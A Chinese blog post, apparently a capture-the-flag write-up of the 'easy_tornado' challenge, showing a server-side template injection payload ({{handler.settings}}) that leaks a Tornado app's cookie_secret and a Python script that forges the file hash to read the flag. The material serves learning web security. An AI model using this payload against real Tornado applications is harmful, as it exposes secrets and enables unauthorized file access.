当前位置:网站首页>漏洞复现-easy_tornado
漏洞复现-easy_tornado
2022-07-07 05:07:00 【_s1mple】
[环境]
windows
[工具]
Firefox
[步骤]
tornado是python中的一个web应用框架。
拿到题目发现有三个文件:
flag.txt
/flag.txt
flag in /fllllllllllllag
发现flag在/fllllllllllllag文件里;
welcome.txt
/welcome.txt
render
render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。
hints.txt
/hints.txt
md5(cookie_secret+md5(filename))
filehash=md5(cookie_secret+md5(filename)) 现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。
测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)
尝试/error?msg={ {datetime}} 在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名
RequestHandler.settings
An alias for self.application.settings.
handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
构造payload获取cookie_secret
/error?msg={
{handler.settings}}
'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r'
计算filehash值:
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%[email protected]![VtR#geh9UHsbnL_+mT5N~J84*r'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
payload:
file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
成功获取flag。
边栏推荐
- Téléchargement des données de conception des puces
- Leetcode simple question: find the K beauty value of a number
- [step on the pit series] H5 cross domain problem of uniapp
- Open source ecosystem | create a vibrant open source community and jointly build a new open source ecosystem!
- Linux server development, MySQL cache strategy
- 数据库实时同步利器——CDC(变化数据捕获技术)
- Introduction to basic components of wechat applet
- Hisense TV starts the developer mode
- 快速使用 Jacoco 代码覆盖率统计
- 【数字IC验证快速入门】13、SystemVerilog interface 和 program 学习
猜你喜欢
随机推荐
Ansible
UnityHub破解&Unity破解
The largest 3 same digits in the string of leetcode simple question
【踩坑系列】uniapp之h5 跨域的问题
Unityhub cracking & unity cracking
[matlab] when matrix multiplication in Simulink user-defined function does not work properly, matrix multiplication module in module library can be used instead
Real time monitoring of dog walking and rope pulling AI recognition helps smart city
The charm of SQL optimization! From 30248s to 0.001s
Network learning (II) -- Introduction to socket
These five fishing artifacts are too hot! Programmer: I know, delete it quickly!
2022 welder (elementary) judgment questions and online simulation examination
offer收割机:两个长字符串数字相加求和(经典面试算法题)
【数字IC验证快速入门】10、Verilog RTL设计必会的FIFO
LeetCode简单题之判断一个数的数字计数是否等于数位的值
LeetCode简单题之找到一个数字的 K 美丽值
C语言二叉树与建堆
海信电视开启开发者模式
太真实了,原来自己一直没有富裕起来是有原因的
OpenJudge NOI 2.1 1752:鸡兔同笼
JSON data flattening pd json_ normalize